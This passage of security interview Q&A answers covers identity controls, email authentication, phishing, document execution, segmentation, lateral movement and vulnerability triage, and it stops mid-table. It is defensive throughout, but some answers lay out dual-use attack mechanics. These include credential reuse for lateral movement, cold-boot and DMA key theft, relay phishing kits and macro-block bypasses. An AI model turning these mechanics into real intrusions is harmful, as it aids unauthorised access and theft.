enabledForReportingButNotEnforced), scoped to a pilot group, for at least one full business cycle. - Enforcement expands group by group, and the break-glass path is tested before each expansion.
Why the blast radius is total
CA evaluates all policies at sign-in and requires every applicable one to be satisfied. Policies AND together, conditions inside a policy AND together, and grant controls AND together unless the operator is OR. One unsatisfied control blocks the sign-in; there is no partial pass. A policy scoped to All users therefore has the same blast radius as the tenant, including the admins who would fix it.
CA is evaluated at token issuance, so a bad policy does not bite instantly for signed-in users. Access tokens default to 60–90 minutes, which means the full effect lands within about an hour. That is a grace window, not a safety net.
The exclusion that survives its own mistake
Break-glass accounts must be cloud-only (not synced from AD, not federated) so an on-prem outage or a broken federation does not take them down with everything else. Exclude them from every policy, including any policy on All cloud apps, which covers the Entra admin center itself.
Two traps that catch people who only think about CA:
- Legacy per-user MFA is enforced independently of CA. A break-glass account with per-user MFA on and no registered method still fails.
- Security defaults and CA are mutually exclusive. Leaving security defaults on blocks enabling CA policies at all.
Exclusion by group is easier to maintain but turns the group into a critical asset: protect its membership. Direct per-account exclusion is more robust but drifts as policies are added. Either way, verify with a test rather than a portal screenshot.
Rollout
| Stage | Scope | State | Blast radius | Rollback |
|---|---|---|---|---|
| 1 | pilot group, 10–20 users incl. an admin | report-only | none | n/a |
| 2 | pilot group | enabled | pilot only | set state to disabled |
| 3 | workforce group | enabled | workforce | set state to disabled |
| 4 | All users | enabled | tenant minus break-glass | set state to disabled |
Report-only records what would have happened in the sign-in log's Conditional Access tab. Hypothetical numbers for a 5,000-user tenant: 14 days of report-only captures roughly 60,000 interactive sign-ins; if 3% would be blocked, that is about 1,800 sign-ins to explain before you enforce anything. The tail is the point: the 3% is rarely uniform, and it is usually one legacy app or one device fleet.
Failure modes and how they are detected
- Policy on All users requiring a compliant device, with no compliant device available on rollout day. Total lockout; recovery through vendor support. Detected by report-only first, which is the whole reason for stage 1.
- Break-glass account excluded from CA but blocked by something else: per-user MFA, an expired password, or a policy on a different workload such as Intune enrollment. Detected by a scheduled synthetic sign-in from a canary account carrying the same exclusions, alerting on failure.
- Break-glass account used and nobody notices. Detected by an alert on any sign-in by the account.
- Group-based exclusion where the group is deleted or its membership edited. Detected by reviewing policy JSON as code, not portal clicks.
If pushed further
CA is not the control for privileged access: PIM and separate admin accounts are. And do not use CA to enforce device compliance on a fleet you have not measured; measure in report-only, then enforce.
Curated: · Written: · Reviewed:
Q&A-49How do you address insider risk without treating staff as suspects?
The 60-second version
Insider risk is mostly not malice. Verizon's 2024 DBIR attributes 68% of breaches to a non-malicious human element, error and social engineering, and deliberate insider misuse is a smaller slice again. So I'd shrink what any one person can do before I add anything that watches them, because monitoring is the control that costs the most trust and catches the least.
The order I'd argue for: remove standing privileged access, make elevation short-lived and justified, split the highest-consequence actions across two people, and only then alert on a narrow set of high-signal events. With the monitoring policy written down and shown to staff.
Why that order
Standing admin is what turns a mistake into an outage and a departure into a breach. If 12 engineers hold always-on production admin, you have 12 credentials valid every hour of every day. Move to just-in-time elevation with a one-hour session and the same team holds 12 credential-hours per day instead of 288: a 96% cut in the window where a stolen laptop, a phished session or a tired mistake matters. That is arithmetic, not a policy preference.
Elevation needs a reason field and an approver, but approval must not become theatre. Measure it: if more than 95% of elevation requests are approved in under a minute, you have a click-through, not a control.
Separation of duties is the only control that reliably stops a determined insider, because it requires collusion. Reserve it for the handful of irreversible actions: dropping a production database, rotating break-glass credentials, changing where audit logs are shipped.
Artefacts
| Control | Error | Malice | Trust cost | Signal to watch |
|---|---|---|---|---|
| Remove standing admin, JIT elevation | yes | yes | none | count of always-on privileged identities |
| Two-person rule on irreversible actions | partly | yes | low | break-glass use |
| Narrow, published alerting | no | partly | medium | CloudTrail: CreateAccessKey, AttachUserPolicy, StopLogging, DeleteTrail |
| Broad behavioural monitoring | no | partly | high | — |
The IAM condition that makes elevation short-lived and MFA-bound:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::123456789012:role/prod-admin",
"Condition": {
"Bool": {"aws:MultiFactorAuthPresent": "true"},
"NumericLessThan": {"aws:MultiFactorAuthAge": "3600"}
}
}]
}
AWS STS AssumeRole defaults to a one-hour session; leave it there rather than raising it toward the 12-hour maximum. CloudTrail keeps 90 days of management events in Event history at no cost, which answers "who did this last month" without standing up a SIEM.
Failure modes and how I'd detect them
- Rubber-stamp elevation: median approval latency under 60 seconds and an approval rate above 95%.
- Leaver lag: measure time from the HR termination event to IdP deprovisioning. Target under an hour; plenty of orgs run days. Alert on any authentication from a deprovisioned identity.
- Monitoring staff route around: if you don't publish what's collected, people move to personal devices and shadow tooling and your signal gets worse, not better.
- Break-glass accounts: they must exist, must sit outside the JIT path, and must page someone on use.
- Legal and HR: in the EU, employee monitoring needs a documented proportionality assessment and, in Germany, works council consultation. Design it with them, not after the first incident.
If I had one weekly number to report, it would be the count of always-on privileged identities and the median time to revoke access after termination.
Curated: · Written: · Reviewed:
Q&A-96Contractors use their own laptops. How do you handle that?
What I'd say in the first two minutes
You cannot attest a contractor's laptop, so every session from one has to be treated as coming from a device that may already be compromised. That leaves two levers, and I'd use both: move the work onto a machine you control, or leave the work where it is and shrink what the unmanaged device can reach and take away.
For anything touching customer data, the first lever means a managed virtual desktop (Amazon WorkSpaces, Azure Virtual Desktop, Citrix) so the bytes never land on the contractor's disk. Where a full desktop is too heavy, a remote browser (Cloudflare Browser Isolation, Zscaler Cloud Browser Isolation, Chrome Enterprise Premium) gives the same property for web apps: pixels out, no file in. For the low-sensitivity tier, Microsoft Entra ID Conditional Access with the Require app protection policy grant control, plus Defender for Cloud Apps session policies, lets an unmanaged device reach the app while blocking download, upload and copy-paste. Authentication is FIDO2/WebAuthn hardware keys (CTAP2, device-bound, not synced passkeys) because a synced passkey is a credential that can be phished onto any machine the contractor owns.
The three device states
| Device state | Apps reachable | Download | Telemetry you actually get | Grant controls |
|---|---|---|---|---|
| Managed, Intune-compliant | everything | yes | EDR + MDM + session | compliant device + MFA |
| Unmanaged, isolated (VDI or RBI) | everything, rendered remotely | no: pixels only | proxy/session logs | MFA + app protection policy |
| Unmanaged, direct | low-sensitivity only | yes | IdP sign-in logs | MFA only |
The middle row is what makes contractor access workable. The bottom row is where incidents come from.
Why attestation fails here
TPM-backed attestation and EDR telemetry both need an agent the contractor's OS will let you install and keep running. On a personal laptop you have neither: no measured boot you trust, no process tree, no file-system events. The only trustworthy signals are the ones the identity provider and the session proxy observe: device compliance state, source ASN, sign-in frequency, and what the session policy allowed. Design to that signal set, not to the one you'd have on a corporate fleet.
Failure mode I've seen
Contractors sat in the same group as employees, so Conditional Access granted them the same reach from unmanaged devices. One laptop was already compromised; the attacker rode the existing session cookie into the customer-data console and pulled records. Detection was late because there was no endpoint telemetry: the only trace was IdP sign-in logs showing a session from an unexpected ASN. The control that would have stopped it was the download block, not stronger authentication: the session was already authenticated.
How I'd verify it
Enumerate what the contractor group can actually reach and compare it to intent. If the group has 60 members and the app inventory shows 14 reachable apps of which 3 are low-sensitivity, that's 11 apps to move behind isolation before you call it done. Then test from a genuinely unmanaged laptop: confirm the download is blocked, confirm no file appears in the local Downloads folder, and confirm the IdP log records the device state you expected. Set sign-in frequency short, an hour is a reasonable starting point for unmanaged sessions, with a 15-minute idle timeout.
Curated: · Written: · Reviewed:
Q&A-48Does physical access still matter when everything is encrypted?
Yes: physical access still matters, and encryption changes which attacks it stops, not whether the device is worth stealing. The 60-second version: full-disk encryption protects data on a powered-off device. It does nothing for a running machine, an unlocked session, or a key sitting in DRAM. So "does physical access matter" is really "what is the attacker's access, and what is on the device."
Assumptions I'd state up front: the device is a laptop or a server in a rack; the attacker has hands-on time measured in minutes, not a supply-chain position; the data is worth more than the hardware.
What encryption actually covers
| Device state | Disk encryption protects? | Why |
|---|---|---|
| Powered off | Yes | Ciphertext only; key sealed in TPM or derived from a passphrase |
| Suspended (S3) | Partly | RAM still powered; keys may still be in DRAM |
| Running, locked | No | Keys in RAM; DMA-capable ports are live |
| Running, unlocked | No | Session already authenticated |
The "running, locked" row is the one people get wrong. BitLocker with TPM-only releases the volume key at boot without a user secret, so an attacker who can power the machine on gets the key from the TPM. TPM+PIN changes that: the attacker must also know the PIN.
Cold boot. Halderman et al. (2008) recovered AES keys from DRAM within seconds of power loss, and minutes to hours with the chips cooled. A running or suspended machine is therefore a key store, not a locked box. Detection is weak, there is no log entry for "attacker read RAM", which is why the control is physical: lock the screen, and don't leave the machine suspended in an untrusted place.
DMA. Thunderbolt and PCIe let a device read host memory directly. Kernel DMA Protection (Windows 10 1803+, with IOMMU/VT-d) blocks it for Thunderbolt 3; older FireWire and ExpressCard ports do not. If the port is present and unprotected, an attacker with a cheap device and 60 seconds gets the keys. The control is to disable or authorize those ports.
Unlocked session. No crypto is involved. A walked-up-to laptop with an open session is an authenticated foothold into internal systems; the disk encryption is irrelevant. This is the failure I'd design against first, because it needs no tooling.
Where the controls are not worth it
A desktop in a locked office, no portable data, no untrusted visitors: pre-boot authentication buys little and costs support calls for forgotten PINs. A server in a controlled cage with monitored access: full-disk encryption with network-bound unlock (Clevis/Tang) is defensible, but the marginal gain over physical control is small and the boot dependency is a new failure mode. The deciding criterion is whether the device leaves the controlled perimeter, if it does, encrypt and require a secret; if it doesn't, physical control is the cheaper control.
What I'd actually do
- Full-disk encryption with pre-boot authentication (BitLocker TPM+PIN, FileVault 2, LUKS2 with argon2id) on anything portable.
- Screen lock at 5 minutes or less, require sign-in on wake.
- Disable or authorize DMA-capable ports; enable Kernel DMA Protection.
- Treat physical access to infrastructure areas as a logical control: badge, camera, rack locks.
How I'd validate
Test the scenario the encryption does not address (a running, unlocked device) not the powered-off one. Boot a test machine, dump RAM, and confirm whether keys are recoverable; if they are, the control set is incomplete.
Curated: · Written: · Reviewed:
Q&A-22What do SPF, DKIM, and DMARC each do, and what do they not do?
The 90-second answer
SPF, DKIM and DMARC authenticate three different things, and only DMARC ties any of them to the address a human actually sees. SPF checks the sending IP against a list published by the envelope domain (MAIL FROM / Return-Path), which the recipient never sees. DKIM cryptographically signs the message with a key whose public half is published under a selector, so a receiver can verify the body and chosen headers were not altered and were signed by the holder of that key. DMARC sits on top: it requires that the domain in the visible From header align with either the SPF-authenticated envelope domain or the DKIM d= domain, and it tells the receiver what to do when neither aligns. p=none (report only), quarantine (spam folder), or reject.
None of the three stops a lookalike domain. examp1e.com can publish perfect SPF, DKIM and p=reject and pass every check, because it is authenticating itself.
The records
Example for example.com (addresses from the documentation ranges):
example.com. TXT "v=spf1 include:_spf.google.com ip4:203.0.113.10 -all"
s1._domainkey.example.com. TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSq..."
_dmarc.example.com. TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; adkim=s; aspf=r; pct=100"
-all is a hard fail; ~all is softfail and is what you publish while you are still discovering senders. SPF is capped at 10 DNS lookups (and 2 void lookups) per check: include: chains blow through this and the whole record returns permerror, which most receivers treat as no SPF at all.
adkim/aspf set alignment: r (relaxed, the default) matches on the organizational domain, so mail.example.com aligns with example.com; s (strict) requires an exact match.
Why alignment is the whole point
Trace a message: From: ceo@example.com, envelope-from bounce@mailer.thirdparty.com, DKIM d=example.com.
- SPF passes for
mailer.thirdparty.com, but that does not align withexample.com, so it contributes nothing to DMARC. - DKIM verifies and
d=example.comaligns → DMARC passes.
Without alignment, any attacker could SPF-pass their own domain and put From: ceo@example.com in the header. That is the gap DMARC closes.
Failure modes
Forwarding breaks SPF: the forwarder's IP is not in your record, so SPF fails, and DMARC survives only if DKIM does. Mailing lists that append a footer break the DKIM body hash. ARC seals are the mitigation. Both are why p=reject on a domain with legitimate forwarders drops real mail.
What they do not do
- Lookalike and cousin domains: nothing here sees them.
- Display-name spoofing:
"CEO Name" <ceo@evil.com>passes everything. - Compromised partner accounts: mail sent from a partner's real account authenticates correctly.
- Encryption or content inspection.
Rollout trade-offs
p=none with rua= first, read the aggregate reports, onboard every sender, then quarantine, then reject. pct= samples a percentage so you can ramp. sp= sets a separate subdomain policy; without it subdomains inherit p. Reject is the wrong call when you have unmanaged senders or heavy forwarding: you will silently drop legitimate mail, and the reports are the only way you would know.
Curated: · Written: · Reviewed:
Q&A-23An email from the finance director asks for an urgent payment. What control catches it?
The control is out-of-band verification of the payment instruction, not a filter on the email.
Say that in the first minute. The email may be entirely authentic: sent from the director's real mailbox by someone holding their credentials. No content-based control can separate it from a genuine request, because there is nothing to separate. What catches it is a payment process that never trusts the message: any new payee, change of bank details, or unusual amount requires a callback to a number taken from the vendor master or the corporate directory, never from the email, plus a second approver who is not the person who received the request.
Two variants, two different controls:
| Variant | What it looks like | Control that catches it |
|---|---|---|
| Spoofed sender | display name is the director, envelope domain is not | DMARC at p=reject on the sending domain; external-sender banner as a weak backstop |
| Compromised real account | authentic message, correct domain, passes DMARC | out-of-band callback plus dual authorization; nothing in the message helps |
DMARC at p=reject stops the first. It does nothing for the second, and the second is the one that moves money. The banner is a nudge, not a control: it flags all external mail, so people learn to click past it.
The callback has to be specified tightly or it fails in the obvious way. Number from the directory, not the signature. Callback to a second person in finance or the requester's manager, not back to the requester. Two-person rule on the payment itself, so the person under pressure cannot approve alone. And the rule must be unconditional: "urgent" is the attack's whole payload, so any process with an urgency exception has an exception the attacker will use.
Worked trace, a change-of-bank-details request:
- Request arrives, marked urgent, new account number.
- Finance ops opens the vendor master and reads the number on file for that vendor, not the one in the email.
- Calls it. If the vendor confirms the change, ops logs the confirmation and routes to a second approver.
- The second approver, who did not receive the request, releases the payment.
- If the callback fails or the number is unreachable, the payment holds. Unreachable is not approval.
Failure modes worth naming:
- Callback to the number in the email: the attacker answers.
- Verification performed but waived: the step exists, the pressure defeats it. This is the common one.
- The approver is the recipient. Segregation of duties on paper, one person in practice.
- Stale directory data: the "known number" is a mobile the director no longer uses.
Detecting the compromise itself is separate from catching the payment: mailbox audit logs for new inbox rules (attackers create rules to hide replies), new MFA method registrations, and sign-ins from a new network or impossible travel. These find the account takeover; they do not stop the wire.
Rehearsal: send a realistic urgent payment request from a test account and measure whether the callback happened and who performed it. A control never exercised under pressure is a policy, not a control.
The trade-off is minutes on every payment change. That is the price; the alternative is a wire that clears in minutes and is gone.
Curated: · Written: · Reviewed:
Q&A-11Your phishing simulation click rate is 12 percent. What would you do?
What I'd say first
Before answering, I'd pin down what 12% measures: which population, how hard the lure was, and whether it's one campaign or a trend. Say it's 5,000 employees: that's 600 clicks per campaign. The same 12% on an obvious "your package is delayed" email means the simulation is too easy to be informative. Then the answer: I would not run the next campaign to move 12% to 9%. I'd spend the effort making a click survivable, and I'd change the metric from clicks to whether a harvested credential is usable.
Why the click rate plateaus
Training moves the number and then stops, because a competent phishing page is built to be indistinguishable from the real login. The click is not the failure; the usable credential is. A team that ran quarterly training for three years moved 18% to 12% and was still compromised by a credential harvest: the training worked and the outcome didn't change.
What I'd deploy, in order
- Phishing-resistant authentication. FIDO2/WebAuthn security keys or passkeys, origin-bound to the RP ID. A phishing site on a different origin cannot obtain a valid assertion, and an adversary-in-the-middle proxy (Evilginx, Modlishka) cannot relay the ceremony, because the browser checks the RP ID against the origin. This is the one control that changes the outcome.
- Close the paths that bypass it. Legacy auth protocols (IMAP/SMTP/POP, basic auth) that skip MFA; OAuth device-code phishing, where the user types a code at the vendor's real device-login page and hands over a token; help-desk MFA reset, which is a phone call, not a phish. Each defeats passkeys without a single click on a fake page.
- Shrink the value of a stolen session. Passkeys don't protect the session cookie issued after login. Short token lifetimes, device-bound cookies, and continuous access evaluation (Entra ID CAE) cut the window in which a relayed session is useful.
- Email and endpoint. Enforce DMARC with p=reject on your own domain, detonate attachments, isolate links, and run EDR so a macro or infostealer is caught at execution.
| Control | Click rate | Credential usable by attacker |
|---|---|---|
| Training only | 12% | Yes |
| + push MFA | 12% | Yes, via AitM relay or push fatigue |
| + number matching | 12% | Yes, via AitM relay |
| + origin-bound passkey | 12% | No: assertion is bound to the real origin |
| + passkey, session cookie stolen | 12% | Yes, until the token expires |
How I'd know it worked
Not by the click rate. I'd track report rate and median time-to-report: 12% clicking with fast reporting is a different risk from 12% with nobody reporting: plus sign-ins from new ASNs or impossible travel. The direct test is whether a credential captured in a red-team exercise can actually be replayed. If it can't, the click rate is a training metric, not a risk metric.
Failure modes I'd expect
- AitM relay kits defeat push MFA and number matching; only origin binding stops them.
- Push fatigue and help-desk social engineering bypass MFA with no phishing page at all.
- Session token theft after a legitimate passkey login.
- Over-blocking: link rewriting breaks signed links and some SaaS flows, and aggressive quarantine generates help-desk tickets that push users to whitelist.
Trade-offs
Passkeys cost a rollout: hardware keys for privileged staff, platform passkeys for everyone else, a break-glass path, and a broker for legacy apps that only speak LDAP or basic auth. Budget it as an identity project, not a security-awareness project.
Curated: · Written: · Reviewed:
Q&A-21What stops a malicious document from executing?
Core answer
Nothing stops a document from executing by itself. You remove the capability each execution path needs, and there are three: a macro policy covers only the first.
- The document's own scripting engine. VBA in Office, Excel 4.0 (XLM) macros, JavaScript in PDF readers,
.js/.jse/.wsfscript files. This is the path most intrusions use, and it needs the user to enable it. - The parser that reads the file format. A malformed font, image, OLE structure or PDF object that corrupts memory in the reader. No macro, often no click: opening or previewing is enough.
- A second stage the document launches. An embedded OLE package, a
.lnk, an external template, a remote reference.
Path 1: scripting. Block macros in files carrying Mark-of-the-Web at the platform level. MOTW is a Zone.Identifier alternate data stream Windows writes on download; Protected View and macro blocking key off it. Microsoft made blocking VBA macros in internet-origin files the default for Microsoft 365 Apps in 2022, after a brief rollback. Block XLM separately: it is a different engine and was missed by the first round of VBA blocking. Restrict script hosts to signed scripts. AMSI lets AV inspect macro code at runtime, which catches obfuscated payloads a static signature misses.
Path 2: parser. You cannot configure this away. Patch the reader, run it sandboxed (Protected View, Acrobat Protected Mode), enable exploit mitigations (ASLR, DEP, CFG), and, strongest, disarm the file at the gateway: content disarm and reconstruction rebuilds the document from its rendered form, so a malformed structure never reaches the parser. Residual risk is a parser zero-day; the mitigation is that the process is contained and the file was never opened on a machine holding credentials.
Path 3: embedded objects. Block OLE/package activation and Office child-process creation (Defender ASR rule "Block all Office applications from creating child processes"). Block .lnk, .iso/.img and .js at the mail gateway: ISO/IMG historically stripped MOTW, which is how macro blocking got bypassed; Microsoft added MOTW propagation to mounted images in 2022.
| Path | Control that stops it | Residual risk |
|---|---|---|
| VBA macro | block internet-origin macros via MOTW | user re-enables a file with no MOTW |
| XLM macro | separate XLM block | old files, no MOTW |
| PDF JavaScript | disable JS in the reader | parser exploit |
| parser bug | CDR at gateway + sandboxed reader | zero-day |
| OLE / child process | ASR block child processes | signed-but-malicious add-in |
Failure modes. MOTW stripped by an archive, ISO, or network share; a downloader that never sets the zone; a user clicking Enable Content on a USB-delivered file that has no MOTW at all. Detect by alerting on Office spawning a child process, on macro-enabled files from external senders, and on Office files with no Zone.Identifier stream.
Validation. Send a benign macro-bearing document from an external address and confirm it cannot execute regardless of what the user clicks; confirm the Zone.Identifier stream is present on arrival; detonate a malformed sample in the sandbox and confirm the reader process is contained.
Illustrative exception population for a 1,400-user org: warning banner only (0 exceptions, executes on click; block external macros) 12 exceptions; signed scripts only. 30.
A prompt is a control that delegates the decision to the target.
Curated: · Written: · Reviewed:
Q&A-20Is application allowlisting worth the operational cost?
The judgement in application allowlisting is which control removes the class, not which one closes the ticket.
Allowlisting removes an entire class of attack, arbitrary executable delivery, and its cost is entirely in the exception process. It is strong on servers and fixed-function systems and expensive on developer workstations, so it is a per-population decision.
Concretely, deploy on servers and fixed-function endpoints first, use publisher or path rules that survive updates rather than hashes that break on every patch, run in audit mode long enough to size exceptions, and provide a fast exception path so it is not routed around.
The reason for that specificity is a failure I have seen: An estate-wide rollout including developer workstations generated 400 exception requests in the first week, and the control was disabled after 3 weeks with no population protected.
Exception volume by population.
| Population | Exceptions/week | Enforcement viable |
|---|---|---|
| fixed-function kiosks | 0 | yes |
| servers | 4 | yes |
| developer workstations | 400 | no |
I would not consider it settled without evidence: Run in audit mode per population and publish the expected exception volume before enforcing.
Scope it where the exception rate is survivable.
Curated: · Written: · Reviewed:
Q&A-27How would you segment an existing flat network without breaking it?
Assume "flat" means one L2 domain or one subnet with no host-to-host filtering, and that I can't take a maintenance window. The answer is not to design the segmentation from the architecture diagram. Derive it from observed traffic, then enforce one boundary at a time with a rollback path.
Step 1: observe. Turn on flow telemetry before changing anything: VPC flow logs, NetFlow/IPFIX on the switches, or eBPF on the hosts if the traffic is encrypted or never leaves the box. Run it for at least 30 days, ideally 90, because the edges that break you are the ones that fire monthly or quarterly: month-end reconciliation, DR tests, certificate renewals, backup windows.
Step 2: derive the policy from the graph. Build the set of (src, dst, port, proto) edges actually seen, and diff it against whatever is documented.
-- hypothetical: 30 days of VPC flow logs in Athena
SELECT srcaddr, dstaddr, dstport, protocol, count(*) AS flows
FROM vpc_flow_logs
WHERE from_unixtime(start) >= current_date - interval '30' day
AND action = 'ACCEPT'
GROUP BY 1, 2, 3, 4
Step 3: enforce one segment at a time, highest-value assets first, default-deny inbound, allow only observed edges, and keep the observation running so a new deny is visible the moment it happens.
| Source | Edges | Undocumented |
|---|---|---|
| architecture diagram | 34 | — |
| 30-day flow logs | 46 | 12 |
| 90-day flow logs | 51 | 17 |
Hypothetical numbers for a 200-host estate.
Worked trace. Take the payment segment, 6 hosts. Observed inbound edges: 443 from the API tier, 5432 from the reporting host, 22 from the jump host, 9100 from Prometheus, 123/udp from the NTP pool, 445 from the backup server. The diagram lists the first three. Enforce default-deny with those six allowed. The next morning the backup job fails: 445 was undocumented. That is the whole method: the deny tells you the edge you missed, and you add it back deliberately rather than discovering it during an incident.
Failure modes.
- L2 traffic never appears in flow logs. ARP, mDNS, WS-Discovery, cluster heartbeats, DHCP relay. If you segment with VLANs you can cut these silently; check for them with packet capture on the segment before you move it.
- Asymmetric paths. Flow logs on one side only show what that side saw. If return traffic takes a different route, your edge list is half a conversation.
- Ephemeral return ports. Stateful security groups handle them; stateless NACLs do not, and you will blackhole every response unless you open the ephemeral range.
- Shared services with no fixed peer: DNS, NTP, LDAP, syslog, licensing, monitoring. These are the ones people forget and then blame the firewall.
What would change the decision. If you can't get flow telemetry (encrypted overlay, no tap, no agent) you can't do this safely and you need a maintenance window or an agent-based microsegmentation product instead. If the estate is small enough to enumerate by hand and you have a hard compliance deadline, a documented-policy-first cut with a tested rollback may be the right call. If the highest-value asset has no observed inbound traffic at all, that's a finding, not a segment.
Detection. Alert on denied flows per segment, and on application error rates for the segment you just cut. Keep the flow capture running for at least one full business cycle after the last change.
Curated: · Written: · Reviewed:
Q&A-14An attacker has one workstation. What determines how far they get?
What a strong candidate says first
Assume a domain-joined user workstation on a corporate LAN with EDR running. How the attacker got in barely matters. What sets their ceiling is two numbers: how many hosts that workstation can reach, and how many of those accept a credential the attacker can pull off it. Multiply them and you have the blast radius; divide by how fast you detect the first cross-host logon and you have the damage.
Mechanism: a workstation holds credentials in LSASS and in the user's token. If local administrator passwords are shared across the fleet, one host yields a credential valid on every host: SMB (445), WinRM (5985/5986), WMI and RDP (3389) all accept it, and no network boundary is crossed. If they are randomised per host, the same credential is valid on exactly one machine. Segmentation changes the first number; credential hygiene changes the second. They are independent, and either alone leaves a path.
Trade-offs, and when not to bother
| Control | What it removes | What it costs | Deciding criterion |
|---|---|---|---|
| Local admin password randomisation (LAPS) | Credential reuse | Helpdesk loses "one password for all"; needs rotation and escrow | Do it always: highest ratio of risk removed to effort |
| Workstation-to-workstation segmentation (block 445/135/5985/3389) | Reachability | Breaks peer-to-peer apps, dev file shares, some print/scan flows; needs a central host-firewall plane | Worth it above roughly a few hundred hosts, and only if you can push firewall policy from one place |
| Administrative tiering (separate accounts, jump hosts) | Credential validity across tiers | Extra accounts, PAWs, slower admin workflows | Worth it when servers hold data classes the workstation user must never touch |
| EDR plus cross-host logon alerting | Dwell time | Alert volume, tuning | The only control that still works when the other three are bypassed |
Segmentation is not worth it in three cases: estates small enough that LAPS plus EDR already caps reach at one host; environments whose function is workstation-to-workstation traffic (build farms, HPC, lab clusters), where blocking 445 breaks the product; and any estate where host firewalls aren't centrally managed, because a policy you can't enforce is a diagram, not a control.
Failure modes, and how you'd see them
- Nominal segmentation that still allows 445 to the file server, so the attacker pivots through the one permitted port. Detect by measuring reachable pairs, not by reading the policy.
- LAPS deployed, but the escrow group is a domain group whose members log into workstations: the password is randomised and still readable. Detect by auditing who can read the escrow attribute.
- Tiering defeated by a single jump box that accepts workstation credentials. Detect by alerting on 4624 type 3 (network logon) and type 10 (RDP) where source and target are both workstations.
Worked example (illustrative)
| Control state | Hosts reachable | Hosts accepting the credential |
|---|---|---|
| Flat, shared local admin | 1400 | 1400 |
| Flat, randomised local admin | 1400 | 1 |
| Segmented + randomised | 12 | 1 |
A /22 is 1,022 usable addresses. At a 200 ms connect timeout and 20 concurrent threads, an SMB sweep of it is roughly 10–20 seconds: enumeration is not the bottleneck; credential validity is. In one estate I worked on, a shared local admin password across 1,400 workstations meant a single compromised host yielded credentials valid on all of them, and the movement completed in under an hour without crossing a network boundary.
How I'd settle it
Purple-team it: from a compromised test workstation, record how many hosts are reachable and how many accept the credential, then repeat after each control lands. The number that moves tells you which control is doing the work.
Curated: · Written: · Reviewed:
Q&A-24Your scanner reports 12,000 findings. Where do you start?
Start with the internet-facing assets that carry a known-exploited vulnerability. That set is usually small enough to enumerate by hand, and it is where an attacker begins. Everything else goes to a backlog with a stated remediation policy, not to an emergency queue.
Assumptions: findings join to asset metadata (owner, exposure, data classification) and you can query a known-exploited list (CISA KEV) or an exploitation-probability score (EPSS). If that join does not exist, building it is the first task; a finding you cannot attach to an asset cannot be ranked.
Why not severity first. A CVSS base score describes the flaw in the abstract. Exposure enters through the environmental metrics, and most scanners report base scores only, so a 9.8 on an internal-only host and a 9.8 on a public load balancer arrive looking identical. The base score also says nothing about whether anyone is exploiting it: KEV and EPSS do.
Procedure:
- Filter to internet-exposed assets.
- Intersect with known-exploited (KEV) or high EPSS.
- Weight by asset value: data classification, blast radius, whether it is a shared dependency.
- Work that ordered set top-down. Report the remainder as backlog with SLAs by tier.
A failure I have seen: a team ranked strictly by severity, and a medium-rated flaw on an internet-facing appliance with observed exploitation waited six weeks behind internal-only criticals. It was the eventual entry point. The detection signal is time-to-remediate for internet-facing KEV versus internal criticals, if the former is longer, the ranking is inverted.
Illustrative figures, a 12,000-finding estate, top 20 by each method:
| Ranking method | Internet-facing in top 20 | Known-exploited in top 20 | Critical-severity in top 20 |
|---|---|---|---|
| severity only | 2 | 1 | 20 |
| exposure + exploitation first | 20 | 15 | 6 |
The exposure-weighted list spends its top slots on things an attacker can reach and is already using; the severity-only list spends them on things that are merely bad in the abstract.
Severity describes the flaw; exposure describes your risk.
Curated: · Written: · Reviewed:
Q&A-73How do you decide which of a hundred findings actually matters?
What "matters" means. A finding matters if fixing it changes the probability of an incident you'd actually have to respond to. That's a risk question, not a severity question, so CVSS is one input, not the sort key. I'd run the cheapest filters first and only pay for the expensive one when the cheap ones leave a tie.
1. Is it already being exploited? Check CISA's KEV catalog and your own telemetry. KEV membership means exploitation is observed in the wild, so it jumps the queue regardless of base score. This is a lookup, not analysis.
2. Is it likely to be exploited? EPSS (FIRST.org) gives a 0–1 probability that a CVE is exploited in the wild in the next 30 days. It's per-CVE, not per-instance, and it's a probability, not a verdict. Convention, not a rule: many teams triage above ~0.1 and treat above ~0.5 as urgent. Use it to rank the long tail, never to clear it.
3. Is it reachable? A vulnerable function no input path reaches isn't exploitable. govulncheck does this for Go: it reports only vulnerabilities whose vulnerable symbols are reachable from your code, so a CVE in an unused dependency drops out. Equivalent reachability analysis exists for other ecosystems.
4. Does it sit on a path to something you care about? This is where graph modelling earns its cost, and only here. Model identities, hosts and reachability as a graph, run shortest-path from external entry points to crown-jewel assets, and rank the findings that lie on those paths. Three mediums that chain across a trust boundary can beat an isolated critical.
When not to do the graph. If you have no crown-jewel inventory, no identity/reachability data, or a few hundred assets, the modelling cost exceeds the benefit. KEV + EPSS + an owner-assigned criticality gets you most of the way. The graph pays off specifically when findings compose, when the risk lives in the chain, not the node.
Alternatives worth naming. CVSS-only is fast and ignores exploitability and context: that's the failure mode below. SSVC (CISA/SEI) is a decision tree that outputs Act / Track* / Track / Attend and needs no graph at all; it's the right default for a small team. Business weighting (owner-assigned asset criticality) is the tiebreaker when two findings are otherwise equal.
Worked example (hypothetical). 100 findings in. KEV: 2. EPSS > 0.1: 9. Reachable from an entry point: 31. Of those, 3 compose into a 2-hop path public → app server → customer DB, each CVSS 5–6. One CVSS 9.8 sits in a build tool with no inbound path. Fix order: the 3, then the 2 KEV, then the rest.
| Bucket | Count | Why it ranks there |
|---|---|---|
| On a 2-hop path to customer DB | 3 | Composes to reach a crown jewel |
| In KEV | 2 | Exploited in the wild now |
| Reachable, EPSS > 0.1 | 26 | Plausible, not yet chained |
| Unreachable / no path | 69 | No demonstrated route |
Failure modes. EPSS is per-CVE: a 0.9 on a CVE you don't run is noise, so pair it with reachability. KEV lags disclosure by days to weeks, so absence isn't safety. Reachability analysis misses dynamic dispatch and reflection, so treat "unreachable" as a hypothesis to spot-check. And a graph is only as good as its last crawl: a stale identity edge silently hides a path.
Curated: · Written: · Reviewed:
Q&A-103You can't patch everything this quarter. How do you decide what gets patched first?
This isn't a ranking problem, it's a capacity problem. If I rank 12,000 findings perfectly and still have three engineers and forty change windows, nothing changes. So I'd spend the first day building a funnel that ends in a number I can actually deliver, and then write down what I'm not doing and who owns that.
The funnel
Assume a mid-size estate: 12,000 scanner findings, three engineers, and roughly 60% of patch capacity already consumed by routine monthly work.
| Stage | Filter | Remaining |
|---|---|---|
| Raw findings | scanner output | 12,000 |
| Deduplicate | unique CVE × asset | 1,400 |
| Reachable | internet-facing, or reachable from a user VLAN | 310 |
